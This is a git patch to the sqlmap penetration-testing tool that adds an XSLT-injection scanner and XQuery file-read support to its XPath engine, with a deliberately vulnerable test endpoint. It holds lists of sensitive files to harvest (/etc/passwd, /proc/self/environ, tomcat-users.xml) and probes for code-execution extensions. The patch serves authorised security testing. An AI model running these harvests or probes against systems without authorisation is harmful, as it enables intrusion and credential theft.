From 881d2e8f9051c10785c7a69296f40e1b9da6e48c Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sat, 8 Aug 2026 00:37:32 +0200 Subject: [PATCH] Adding switch --xslt --- extra/vulnserver/vulnserver.py | 38 +++ lib/controller/checks.py | 11 +- lib/controller/controller.py | 11 +- lib/core/option.py | 12 +- lib/core/optiondict.py | 1 + lib/core/settings.py | 90 +++++- lib/core/testing.py | 8 +- lib/parse/cmdline.py | 3 + lib/techniques/xpath/inject.py | 149 ++++++++- lib/techniques/xslt/__init__.py | 8 + lib/techniques/xslt/inject.py | 520 ++++++++++++++++++++++++++++++++ tests/test_xslt.py | 230 ++++++++++++++ 12 files changed, 1055 insertions(+), 26 deletions(-) create mode 100644 lib/techniques/xslt/__init__.py create mode 100644 lib/techniques/xslt/inject.py create mode 100644 tests/test_xslt.py diff --git a/extra/vulnserver/vulnserver.py b/extra/vulnserver/vulnserver.py index 5962545bd..e154363db 100644 --- a/extra/vulnserver/vulnserver.py +++ b/extra/vulnserver/vulnserver.py @@ -351,6 +351,23 @@ def hql_evaluate(value): # --- XPath endpoint (vulnerable search and login, backed by an in-memory XML document) ------------ +XSLT_DOC = """luther10\ +fluffy20""" + +# The element slot: user input lands BETWEEN elements, so it can introduce whole XSLT instructions. +XSLT_ELEMENT_SHEET = """ + +
%s
+
""" + +# The value slot: user input lands INSIDE select="...", so it can only carry an XPath expression. +XSLT_VALUE_SHEET = """ + + + +
+
""" + XPATH_XML = """ @@ -1177,6 +1194,27 @@ class ReqHandler(BaseHTTPRequestHandler): self.wfile.write(output.encode(UNICODE_ENCODING)) return + if self.url in ("/xslt/element", "/xslt/value"): + # VULNERABLE: user input is concatenated into a stylesheet which is then compiled and applied + element = self.url.endswith("element") + source = self.params.get("tpl" if element else "sort", "" if element else "name") + try: + from lxml import etree + sheet = (XSLT_ELEMENT_SHEET if element else XSLT_VALUE_SHEET) % source + transform = etree.XSLT(etree.fromstring(sheet.encode("utf-8"))) + output = str(transform(etree.fromstring(XSLT_DOC.encode("utf-8")))) + code = OK + except Exception as ex: + output = "

XSLT error

%s: %s
" % (type(ex).__name__, ex) + code = INTERNAL_SERVER_ERROR + + self.send_response(code) + self.send_header("Content-type", "text/html; charset=%s" % UNICODE_ENCODING) + self.send_header("Connection", "close") + self.end_headers() + self.wfile.write(output.encode(UNICODE_ENCODING)) + return + if self.url == "/xpath/search": self.send_response(OK) self.send_header("Content-type", "application/json; charset=%s" % UNICODE_ENCODING) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 03e7abb5c..1eec0a39a 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -88,6 +88,7 @@ from lib.core.settings import INFERENCE_EQUALS_CHAR from lib.core.settings import LDAP_ERROR_REGEX from lib.core.settings import SSTI_ERROR_REGEX from lib.core.settings import XPATH_ERROR_REGEX +from lib.core.settings import XSLT_ERROR_REGEX from lib.core.settings import XXE_ERROR_REGEX from lib.core.settings import IPS_WAF_CHECK_PAYLOAD from lib.core.settings import IPS_WAF_CHECK_RATIO @@ -1188,13 +1189,13 @@ def heuristicCheckSqlInjection(place, parameter): kb.ignoreCasted = readInput(message, default='Y' if conf.multipleTargets else 'N', boolean=True) elif result: - infoMsg += "be injectable" + infoMsg += "be SQL injectable" if Backend.getErrorParsedDBMSes(): infoMsg += " (possible DBMS: '%s')" % Format.getErrorParsedDBMSes() logger.info(infoMsg) else: - infoMsg += "not be injectable" + infoMsg += "not be SQL injectable" logger.warning(infoMsg) kb.heuristicMode = True @@ -1271,6 +1272,12 @@ def heuristicCheckSqlInjection(place, parameter): if conf.beep: beep() + if not conf.xslt and re.search(XSLT_ERROR_REGEX, page or ""): + infoMsg = "heuristic (XSLT) test shows that %sparameter '%s' might be vulnerable to XSLT injection (rerun with switch '--xslt')" % ("%s " % paramType if paramType != parameter else "", parameter) + logger.info(infoMsg) + if conf.beep: + beep() + if not conf.xxe and kb.postHint in (POST_HINT.XML, POST_HINT.SOAP) and re.search(XXE_ERROR_REGEX, page or ""): infoMsg = "heuristic (XXE) test shows that the XML request body might be vulnerable to XML External Entity injection (rerun with switch '--xxe')" logger.info(infoMsg) diff --git a/lib/controller/controller.py b/lib/controller/controller.py index a3b7c07c7..30a43d95c 100644 --- a/lib/controller/controller.py +++ b/lib/controller/controller.py @@ -532,12 +532,12 @@ def start(): checkJWT() - if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)): + if conf.mineParams and not any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)): from lib.utils.paraminer import mineParameters mineParameters() - if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile): - singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe/--hql/--jwt) findings; these are reported on the console only") + if any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe, conf.xslt, conf.hql, conf.jwt)) and (conf.reportJson or conf.resultsFile): + singleTimeWarnMessage("'--report-json'/'--results-file' do not (yet) capture non-SQL technique (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe/--hql/--jwt) findings; these are reported on the console only") if conf.graphql: from lib.techniques.graphql.inject import graphqlScan @@ -564,6 +564,11 @@ def start(): sstiScan() continue + if conf.xslt: + from lib.techniques.xslt.inject import xsltScan + xsltScan() + continue + if conf.xxe: from lib.techniques.xxe.inject import xxeScan xxeScan() diff --git a/lib/core/option.py b/lib/core/option.py index f216ab11e..cb1c707bc 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -945,10 +945,12 @@ def _setTamperingFunctions(): logger.warning(warnMsg) # tamper scripts rewrite SQL injection payloads; the self-contained non-SQL engines - # (--graphql/--nosql/--ldap/--xpath/--ssti/--xxe) do not run payloads through the tampering hook, so - # warn instead of silently ignoring the user's '--tamper' - if kb.tamperFunctions and any((conf.graphql, conf.nosql, conf.ldap, conf.xpath, conf.ssti, conf.xxe)): - engine = next(_ for _ in ("graphql", "nosql", "ldap", "xpath", "ssti", "xxe") if conf.get(_)) + # (--graphql/--nosql/--ldap/--xpath/--ssti/--xslt/--xxe) do not run payloads through the tampering + # hook, so warn instead of silently ignoring the user's '--tamper'. One tuple drives both the test + # and the name lookup - keeping two lists in step is exactly how this raised StopIteration. + _nonSqlEngines = ("graphql", "nosql", "ldap", "xpath", "ssti", "xslt", "xxe") + if kb.tamperFunctions and any(conf.get(_) for _ in _nonSqlEngines): + engine = next(_ for _ in _nonSqlEngines if conf.get(_)) warnMsg = "tamper scripts are applied to SQL injection payloads only and " warnMsg += "will be ignored by the '--%s' engine" % engine logger.warning(warnMsg) @@ -2755,7 +2757,7 @@ def _checkTor(): def _basicOptionValidation(): _nonSqlTechniques = [name for name, enabled in ( ("--graphql", conf.graphql), ("--nosql", conf.nosql), ("--ldap", conf.ldap), - ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--hql", conf.hql)) if enabled] + ("--xpath", conf.xpath), ("--ssti", conf.ssti), ("--xxe", conf.xxe), ("--xslt", conf.xslt), ("--hql", conf.hql)) if enabled] if len(_nonSqlTechniques) > 1: errMsg = "only one non-SQL technique switch may be used at a time (found: %s). " % ", ".join(_nonSqlTechniques) errMsg += "each is a self-contained scan for a different back-end class - pick one" diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py index 95d921847..44ce5ded8 100644 --- a/lib/core/optiondict.py +++ b/lib/core/optiondict.py @@ -126,6 +126,7 @@ optDict = { "xpath": "boolean", "ssti": "boolean", "xxe": "boolean", + "xslt": "boolean", "hql": "boolean", "jwt": "boolean", "oobServer": "string", diff --git a/lib/core/settings.py b/lib/core/settings.py index 7b6a2bb84..42e5b158e 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from lib.core.enums import OS from thirdparty import six # sqlmap version (...) -VERSION = "1.10.8.12" +VERSION = "1.10.8.13" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -1168,7 +1168,9 @@ XPATH_ERROR_SIGNATURES = ( ("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"), ("eXist", r"exerr:ERROR"), ("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"), - ("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"), + # NOT XSLT: a dedicated '--xslt' engine owns those errors now, and claiming them here made every + # XSLT parser error suggest '--xpath' as well + ("Generic XPath", r"XPath.*?(?:error|exception|syntax)"), ("Generic XPath", r"Invalid XPath|XPath evaluation failed"), ) @@ -1184,6 +1186,90 @@ XPATH_MAX_DEPTH = 32 # Upper bound for the value-length search during XPath blind extraction XPATH_MAX_LENGTH = 256 +# XQuery (XPath 2.0/3.x) supersets XPath 1.0, so the same injection boundary reaches a much richer +# language. These probes are TRUE on an XQuery processor and a SYNTAX ERROR on an XPath 1.0 one, which is +# what makes them a capability test rather than a guess: string-join/matches/upper-case simply do not +# exist in 1.0. Engines: Saxon, BaseX, eXist-db, MarkLogic, Zorba. +XQUERY_CAPABILITY_PROBES = ( + "string-join(('a','b'),'')='ab'", + "upper-case('a')='A'", + "matches('a','a')", +) + +# XQuery file-read primitive: fn:unparsed-text() returns a text file as a string, so the existing blind +# character bisection recovers it unchanged. doc() is the XML equivalent (and the OOB vector when it is +# handed an http:// URI). +XQUERY_FILE_READ = "unparsed-text(%s)" +XQUERY_MAX_FILE_LENGTH = 4096 + +# Proactive harvest for a confirmed XQuery back-end. Deliberately SHORT: unlike an in-band read, every +# character here costs a bisection round-trip, so this is the identity/secret minimum rather than the +# broad sweep an in-band engine can afford. +XQUERY_FILE_HARVEST = ( + "/etc/passwd", + "/etc/hostname", + "/proc/self/environ", + "/proc/self/cmdline", + "c:/windows/win.ini", +) +# Characters recovered from the ONE file the harvest extracts a sample from. Every character costs about +# eight bisection round-trips, so a full /etc/passwd would be thousands of requests against the target. +# The harvest therefore PROVES readability across the list for ~1 request each and samples a short prefix +# from the first hit only. An explicit '--file-read' is a deliberate request and still gets the full +# XQUERY_MAX_FILE_LENGTH. +XQUERY_HARVEST_CHARS = 32 + +# XSLT injection ('--xslt'). Compile/runtime errors are per-engine and are what reaches a target whose +# output is fixed, so they double as the fingerprint when nothing can be reflected. +# Ordered MOST SPECIFIC FIRST and matched in order: PHP's XSLTProcessor and lxml are both libxslt +# underneath and emit its wording too, so the generic libxslt entry has to come last or it would shadow +# the binding that actually tells the tester what they are talking to. +XSLT_ERROR_SIGNATURES = ( + ("PHP XSLTProcessor", r"XSLTProcessor::(?:importStylesheet|transformTo\w+)\(\)"), + ("libxslt / lxml", r"lxml\.etree\.(?:XSLT(?:Parse|Apply|)Error|XPathEvalError)"), + ("Saxon", r"(?:net\.sf\.saxon\.|SaxonApiException|Static error(?:s)? (?:in|at)|XTDE\d{4}|XTSE\d{4})"), + ("Xalan / Java JAXP", r"(?:javax\.xml\.transform\.Transformer(?:Configuration)?Exception|org\.apache\.xalan|XSLT Error)"), + (".NET XslCompiledTransform", r"System\.Xml\.Xsl\.(?:XslLoadException|XsltException)"), + # Anchored to XSLT vocabulary on purpose: this regex also drives the GLOBAL heuristic hint in + # checks.py, and bare "compilation error" / "Invalid expression" match gcc, javac and regex failures, + # which would suggest '--xslt' on targets that have nothing to do with XSLT. + ("libxslt", r"(?:xsltParseStylesheet|xsltApplyStylesheet|xsltCompilePattern|xsl:\w+ : |xmlXPathEval|XPath error : )"), + ("Generic XSLT", r"(?:XSLT|xsl:stylesheet).{0,40}?(?:error|exception|fail)"), +) + +XSLT_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XSLT_ERROR_SIGNATURES) + +# system-property() names the processor from inside the transformation, so a response carrying it is the +# engine speaking rather than the application echoing. +XSLT_VENDOR_PROPERTIES = ("xsl:vendor", "xsl:version", "xsl:vendor-url", "xsl:product-name", "xsl:product-version") + +# Extension surfaces that would turn XSLT injection into code execution or a file WRITE. sqlmap reports +# their availability and never invokes them - probing whether a function EXISTS is not exercising it. +XSLT_RCE_PROBES = ( + ("PHP registerPHPFunctions (php:function)", "string(function-available('php:function'))"), + ("EXSLT exsl:document (file write)", "string(element-available('exsl:document'))"), + ("Saxon saxon:eval", "string(function-available('saxon:eval'))"), + ("Xalan java: extension namespace", "string(function-available('java:java.lang.Runtime.getRuntime'))"), +) + +XSLT_MAX_FILE_LENGTH = 65536 + +# XSLT 1.0's document() parses its target as XML, so a text file simply fails to load - only an XSLT 2.0+ +# engine reaches arbitrary text through unparsed-text(). These are the high-value paths that ARE XML, so +# the auto-harvest still returns something on a 1.0 engine (which is most of the installed base). +XSLT_XML_HARVEST = ( + "/var/www/html/WEB-INF/web.xml", + "/usr/local/tomcat/conf/tomcat-users.xml", + "/usr/local/tomcat/conf/server.xml", + "/opt/tomcat/conf/tomcat-users.xml", + "/etc/tomcat/tomcat-users.xml", + "c:/inetpub/wwwroot/web.config", + "c:/windows/system32/inetsrv/config/applicationHost.config", +) + +# Bound on the proactive harvest so a confirmed finding cannot turn into hundreds of requests. +XSLT_MAX_HARVEST = 12 + # SSTI error signatures per template engine for detection and fingerprinting. # Each tuple is (engine_name, regex_fragment). SSTI_ERROR_SIGNATURES = ( diff --git a/lib/core/testing.py b/lib/core/testing.py index 2e064806c..ad44a8ee2 100644 --- a/lib/core/testing.py +++ b/lib/core/testing.py @@ -96,6 +96,8 @@ def vulnTest(tests=None, label="vuln"): ("-u \"nosql?name=luther&password=x\" -p password --nosql --flush-session", ("is vulnerable to NoSQL injection", "back-end: 'MongoDB'", "NoSQL: GET parameter 'password'", "s3cr3t")), # NoSQL (MongoDB) operator-injection detection + blind regexp extraction ("-u \"graphql\" --graphql --flush-session --disable-hashing", ("found GraphQL endpoint", "introspection returned", "enumerated 6 injectable argument slot(s): 4 query, 2 mutation", "SQL injection via GraphQL (boolean-based)", "in-band data exposure", "back-end DBMS: 'SQLite'", "banner: '3.", "GraphQL database tables", "fetched 30 entries from table 'creds'", "db3a16990a0008a3b04707fdef6584a0", "GraphQL scan complete")), # GraphQL: endpoint detection + introspection + query-slots-first (mutations only as fallback) + boolean-blind/in-band + back-end fingerprint + batched blind dump of an injection-only table (SQLite-backed) ("-u \"ldap/search?q=x\" --ldap --flush-session --disable-hashing", ("is vulnerable to LDAP injection", "Title: LDAP in-band data exposure", "LDAP: GET parameter 'q' in-band entries", "in-band data exposure", "LDAP scan complete")), # LDAP: error-based detection (unbalanced paren) + boolean oracle + directory attribute extraction via blind substring probing + ("-u \"xslt/element?tpl=x\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "element context", "Engine: libxslt", "Type: XSLT injection", "XSLT scan complete")), # XSLT: the engine names itself through system-property('xsl:vendor') in the element slot - a value the application cannot produce on its own + ("-u \"xslt/value?sort=name\" --xslt --flush-session --disable-hashing", ("is vulnerable to XSLT injection", "value context", "XSLT compile-differential", "XSLT scan complete")), # XSLT: the value slot reflects nothing, so detection rests on the compile differential plus positive XPath-syntax evidence ("-u \"xpath/search?q=x\" --xpath --flush-session --disable-hashing", ("is vulnerable to XPath injection", "Title: XPath boolean-based blind", "XPath: GET parameter 'q' XML tree", "extracted", "XPath scan complete")), # XPath: error-based detection + boolean oracle + blind XML tree-walking via starts-with character extraction ("-u \"ssti/search?q=x\" --ssti --flush-session --disable-hashing", ("is vulnerable to SSTI", "Title: SSTI Jinja2 injection", "back-end template engine: 'Jinja2'", "in-band arithmetic proof confirmed", "SSTI scan complete")), # SSTI: Jinja2 detection via arithmetic control-pair + boolean oracle + distinguishing probe ("-u \"hql/search?name=admin\" -p name --hql --flush-session --disable-hashing", ("is vulnerable to HQL injection", "back-end: 'Hibernate'", "entity 'Users'", "s3cr3t", "HQL scan complete")), # HQL: error-based Hibernate fingerprint + boolean oracle + error-leaked entity + blind attribute enumeration and substring value extraction @@ -109,14 +111,14 @@ def vulnTest(tests=None, label="vuln"): ("--purge -v 3", ("~ERROR", "~CRITICAL", "deleting the whole directory tree")), ) - # The vulnserver's XPath and XXE endpoints render with lxml and its SSTI endpoint with jinja2; where + # The vulnserver's XPath, XXE and XSLT endpoints render with lxml and its SSTI endpoint with jinja2; where # those optional third-party engines are not importable (e.g. PyPy 2.7, which has no lxml wheel), skip # just those entries instead of failing the whole run - the rest of the suite is unaffected. try: __import__("lxml") except ImportError: - TESTS = tuple(_ for _ in TESTS if "--xpath" not in _[0] and "--xxe" not in _[0]) - logger.warning("skipping the XPath and XXE vuln-test entries ('lxml' not available)") + TESTS = tuple(_ for _ in TESTS if not any(_flag in _[0] for _flag in ("--xpath", "--xxe", "--xslt"))) + logger.warning("skipping the XPath, XXE and XSLT vuln-test entries ('lxml' not available)") try: __import__("jinja2") except ImportError: diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index b750fccaa..e6c106f31 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -802,6 +802,9 @@ def cmdLineParser(argv=None): nonsql.add_argument("--ssti", dest="ssti", action="store_true", help="Test for server-side template injection") + nonsql.add_argument("--xslt", dest="xslt", action="store_true", + help="Test for XSLT injection") + nonsql.add_argument("--xxe", dest="xxe", action="store_true", help="Test for XML External Entity (XXE) injection") diff --git a/lib/techniques/xpath/inject.py b/lib/techniques/xpath/inject.py index 2aa7922bc..a274bcf51 100644 --- a/lib/techniques/xpath/inject.py +++ b/lib/techniques/xpath/inject.py @@ -11,7 +11,10 @@ import time from collections import namedtuple from lib.core.common import beep +from lib.core.common import dataToOutFile from lib.core.common import randomStr +from lib.core.common import removeReflectiveValues +from lib.core.convert import getBytes from lib.core.convert import getUnicode from lib.core.data import conf from lib.core.data import logger @@ -32,6 +35,11 @@ from lib.core.settings import XPATH_ERROR_REGEX from lib.core.settings import XPATH_ERROR_SIGNATURES from lib.core.settings import XPATH_MAX_DEPTH from lib.core.settings import XPATH_MAX_LENGTH +from lib.core.settings import XQUERY_CAPABILITY_PROBES +from lib.core.settings import XQUERY_FILE_READ +from lib.core.settings import XQUERY_FILE_HARVEST +from lib.core.settings import XQUERY_HARVEST_CHARS +from lib.core.settings import XQUERY_MAX_FILE_LENGTH from lib.request.connect import Connect as Request from lib.utils.xrange import xrange @@ -152,6 +160,12 @@ def _send(place, parameter, value): if conf.verbose >= 3: logger.log(CUSTOM_LOGGING.PAYLOAD, "%s=%s" % (parameter, value)) page, _, code = Request.getPage(**kwargs) + # Strip the payload back out before anyone compares pages. An endpoint that ECHOES the parameter + # differs between any two probes simply because the two payloads differ - which satisfies a + # true/false differential, and even the XPath-only confirm battery, without a single expression + # ever being evaluated. That reported XSLT (and plain reflective) endpoints as XPath-injectable. + # On a genuinely blind target the payload is not in the page, so this is a no-op. + page = removeReflectiveValues(page, value, suppressWarning=True) # A transport failure or a BLOCKED/ERROR status (5xx, 403/429 WAF/rate-limit) is NOT a usable # oracle sample: returning "" for it would let a one-sided failure fake a true/false divergence # (an empty body cannot be told apart from a dead connection). Signal it as None -> the boolean @@ -371,16 +385,20 @@ class _XPathPayloadBuilder(object): def stringLengthAtLeast(self, target, n): return self._make("string-length(%s)>=%d" % (target, n)) - def charPresent(self, target, pos): + def charPresent(self, target, pos, literal=None): # True when the character at 1-based position `pos` of `target` belongs to # the known ordered charset (so its index can be resolved by bisection). - return self._make("contains(%s,substring(%s,%d,1))" % (_CS_LITERAL, target, pos)) + return self._make("contains(%s,substring(%s,%d,1))" % (literal or _CS_LITERAL, target, pos)) - def charIndexAtLeast(self, target, pos, n): + def charIndexAtLeast(self, target, pos, n, literal=None): # The 0-based index of a charset member equals the length of the charset # prefix preceding it (XPath 1.0 has no lexicographic '<', but # string-length(substring-before(...)) yields a number we can bisect on). - return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (_CS_LITERAL, target, pos, n)) + return self._make("string-length(substring-before(%s,substring(%s,%d,1)))>=%d" % (literal or _CS_LITERAL, target, pos, n)) + + def predicate(self, expression): + """Send an arbitrary boolean expression through the verified boundary (XQuery capability probes).""" + return self._make(expression) def _makeOracle(place, parameter, boundary, base): @@ -522,7 +540,7 @@ def _inferCount(oracle, builder, path, countFn, maxCount=128): return None -def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): +def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH, ords=None, literal=None): """Blindly recover the string value of XPath expression `target` (e.g. "name(/*)" or "string(/*[1]/@*[1])") using binary search. @@ -547,10 +565,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): chars = [] probes = 0 - last = len(_CS_ORDS) - 1 + ords = ords or _CS_ORDS + last = len(ords) - 1 for pos in xrange(1, length + 1): probes += 1 - if not oracle.extract(builder.charPresent(target, pos)): + if not oracle.extract(builder.charPresent(target, pos, literal)): chars.append("?") continue @@ -558,11 +577,11 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): while clo < chi: cmid = (clo + chi + 1) // 2 probes += 1 - if oracle.extract(builder.charIndexAtLeast(target, pos, cmid)): + if oracle.extract(builder.charIndexAtLeast(target, pos, cmid, literal)): clo = cmid else: chi = cmid - 1 - chars.append(chr(_CS_ORDS[clo])) + chars.append(chr(ords[clo])) except InconclusiveError: # abort this value rather than emit a length/char chosen from an ambiguous bit logger.warning("XPath string inference aborted (oracle inconclusive after retries)") @@ -573,6 +592,68 @@ def _inferString(oracle, builder, target, maxLen=XPATH_MAX_LENGTH): return value or None +# File content carries bytes the XML-tree charset deliberately excludes (tab, newline, quotes, angle +# brackets). Recovering a file with those replaced by '?' would be worse than useless, so a file read gets +# its own charset. Tab and newline are produced with fn:codepoints-to-string() rather than an XML +# character reference: the payload travels in a query-string parameter, where a literal '&' would split +# it into two parameters. This literal is only ever used on the XQuery path, where the function exists. +_FILE_ORDS = [0x09, 0x0a] + [_ for _ in xrange(XPATH_CHAR_MIN, XPATH_CHAR_MAX + 1)] +# Built entirely from codepoints rather than a quoted string: the charset contains ', ", & and < , each of +# which is either illegal bare in an XQuery string literal ('&' -> "Invalid entity") or would need +# escaping that survives URL transport. fn:codepoints-to-string() takes the whole sequence and has none of +# those hazards. +_FILE_LITERAL = "codepoints-to-string((%s))" % ",".join(str(_) for _ in _FILE_ORDS) + + +def _probeXQuery(oracle, builder): + """True when the injected expression reaches an XQuery / XPath 2.0+ processor rather than an XPath 1.0 + one. Each probe calls a function that does not exist in 1.0, so a positive answer is a capability the + engine demonstrated - not an inference from an error string or a version banner. + + A second, NEGATIVE control matters here: an oracle that answers TRUE to everything would otherwise be + read as 'XQuery'. The false control must come back false for the verdict to stand.""" + + try: + if oracle.extract(builder.predicate("string-join(('a','b'),'')='zz'")): + return False # answers true to a FALSE probe -> oracle is not discriminating + for probe in XQUERY_CAPABILITY_PROBES: + if oracle.extract(builder.predicate(probe)): + return True + except InconclusiveError: + return False + return False + + +def _xqueryFileRead(oracle, builder, path, quiet=False, maxLen=XQUERY_MAX_FILE_LENGTH): + """Recover a text file through fn:unparsed-text() using the same blind bisection that walks the XML + tree - the boundary is already proven, so this needs no new oracle. `quiet` suppresses the + not-readable notice, because the proactive harvest expects most of its paths to be absent.""" + + target = XQUERY_FILE_READ % _xpathQuote(path) + try: + if not oracle.extract(builder.predicate("string-length(%s)>0" % target)): + if not quiet: + logger.warning("XQuery file read: '%s' is empty or not readable" % path) + return None + except InconclusiveError: + return None + return _inferString(oracle, builder, target, maxLen=maxLen, + ords=_FILE_ORDS, literal=_FILE_LITERAL) + + +def _dumpFileRead(remoteFile, content): + """Save an XQuery-read file to the output directory (parity with '--file-read').""" + try: + localPath = dataToOutFile(remoteFile, getBytes(content)) + except Exception as ex: + logger.debug("could not save the XQuery-read file to disk: %s" % getUnicode(ex)) + localPath = None + if localPath: + conf.dumper.rFile([localPath]) + else: + conf.dumper.singleString("XQuery file read ('%s'):\n%s" % (remoteFile, content)) + + def _walkTree(oracle, builder, path="/*", depth=0): """Recursively walk the XML tree from a given XPath expression. Returns a dict: {name, path, children, attributes, text} or None.""" @@ -799,8 +880,54 @@ def xpathScan(): logger.info("identified back-end: '%s'" % backend) slot = slot._replace(backend=backend) - title = "XPath boolean-based blind" - conf.dumper.singleString("---\nParameter: %s (%s)\n Type: XPath injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, title, slot.parameter, slot.payload)) + # An XQuery/XPath-2.0+ processor accepts the same boundary but a far larger language, so say so and + # use it: fn:unparsed-text() turns the proven boolean oracle into a file-read primitive. + isXQuery = _probeXQuery(oracle, builder) + if isXQuery: + logger.info("the back-end evaluates XQuery / XPath 2.0+ (fn:string-join, fn:matches, fn:unparsed-text are available)") + if slot.backend in (None, "Generic XPath"): + slot = slot._replace(backend="Generic XQuery / XPath 2.0+") + + title = "XQuery boolean-based blind" if isXQuery else "XPath boolean-based blind" + conf.dumper.singleString("---\nParameter: %s (%s)\n Type: %s injection\n Title: %s\n Payload: %s=%s\n---" % (slot.parameter, slot.place, "XQuery" if isXQuery else "XPath", title, slot.parameter, slot.payload)) + + if isXQuery: + # A confirmed XQuery back-end is exploited automatically, like every other non-SQL engine: the + # tree walk below is the data dump, and fn:unparsed-text() is the file-read impact. An explicit + # '--file-read' overrides the harvest and is honoured verbatim instead. + if conf.fileRead: + logger.info("reading file '%s' through fn:unparsed-text()" % conf.fileRead) + content = _xqueryFileRead(oracle, builder, conf.fileRead) + if content: + logger.info("XQuery file read succeeded (%d characters)" % len(content)) + _dumpFileRead(conf.fileRead, content) + else: + logger.warning("XQuery file read of '%s' failed" % conf.fileRead) + else: + # Readability is PROVED across the list for about one request per path, then a short + # prefix is sampled from the first hit. Extracting every file would cost thousands of + # bisection round-trips - impact is established by reading a file at all, not by volume. + logger.info("probing which files are readable through fn:unparsed-text()") + readable = [] + for path in XQUERY_FILE_HARVEST: + try: + if oracle.extract(builder.predicate("string-length(%s)>0" % (XQUERY_FILE_READ % _xpathQuote(path)))): + readable.append(path) + logger.info("'%s' is readable" % path) + except InconclusiveError: + break + if readable: + sample = _xqueryFileRead(oracle, builder, readable[0], quiet=True, maxLen=XQUERY_HARVEST_CHARS) + if sample: + logger.info("read the first %d characters of '%s'" % (len(sample), readable[0])) + _dumpFileRead(readable[0], sample) + conf.dumper.singleString("XQuery: readable through fn:unparsed-text():\n%s" + % "\n".join(" %s" % _ for _ in readable)) + logger.info("use '--file-read' to pull one of these in full") + else: + logger.info("no file could be read automatically through fn:unparsed-text()") + elif conf.fileRead: + logger.warning("'--file-read' needs an XQuery / XPath 2.0+ back-end; this one is XPath 1.0 only") # Blind XML tree-walking (attempted document-root traversal) logger.info("walking XML document tree (depth limit: %d)" % XPATH_MAX_DEPTH) diff --git a/lib/techniques/xslt/__init__.py b/lib/techniques/xslt/__init__.py new file mode 100644 index 000000000..bcac84163 --- /dev/null +++ b/lib/techniques/xslt/__init__.py @@ -0,0 +1,8 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +pass diff --git a/lib/techniques/xslt/inject.py b/lib/techniques/xslt/inject.py new file mode 100644 index 000000000..cc9ae9ba7 --- /dev/null +++ b/lib/techniques/xslt/inject.py @@ -0,0 +1,520 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +XSLT injection ('--xslt'). + +An application that builds a stylesheet by concatenating user input hands over a whole transformation +language, not just a value. The tiers are ordered by what each one PROVES, not by how spectacular it is: + + T1 system-property('xsl:vendor') the engine names itself in the response - a fingerprint, and the + strongest evidence that the input really is compiled as XSLT + T2 arbitrary XPath evaluated and reflected in-band + T3 malformed select parser error naming the engine (reaches targets with fixed output) + T4 document('file:///...') file read, plus unparsed-text() where the engine is XSLT 2.0+ + +Blind out-of-band (document('http://collector/')) is NOT implemented yet; it would reuse the collector +'--xxe' already has, but nothing here drives it, so a target with no in-band or error surface is out of +reach for now. + +The ELEMENT slot and the VALUE slot are different surfaces and are probed separately: input landing +between elements can introduce whole XSLT instructions, while input landing inside select="..." can only +carry an XPath expression. Nothing is inferred from a payload merely "looking like" it worked - every +tier is confirmed by a per-run random sentinel or by a value the application cannot produce by itself. + +Deliberately reported but NOT exploited: PHP registerPHPFunctions(), EXSLT exsl:document (file WRITE) and +saxon:eval. Those are RCE / write primitives and sit outside what this switch is for. +""" + +import re +import time +from collections import namedtuple + +from lib.core.common import beep +from lib.core.common import dataToOutFile +from lib.core.common import randomStr +from lib.core.convert import getBytes +from lib.core.convert import getText +from lib.core.convert import getUnicode +from lib.core.data import conf +from lib.core.data import logger +from lib.core.enums import CUSTOM_LOGGING +from lib.core.enums import PLACE +from lib.core.settings import XSLT_ERROR_REGEX +from lib.core.settings import XSLT_ERROR_SIGNATURES +from lib.core.settings import XSLT_MAX_FILE_LENGTH +from lib.core.settings import XSLT_MAX_HARVEST +from lib.core.settings import XSLT_XML_HARVEST +from lib.core.settings import XXE_FILE_HARVEST +from lib.core.settings import XSLT_RCE_PROBES +from lib.core.settings import XSLT_VENDOR_PROPERTIES +from lib.request.connect import Connect as Request + +SENTINEL = randomStr(length=10, 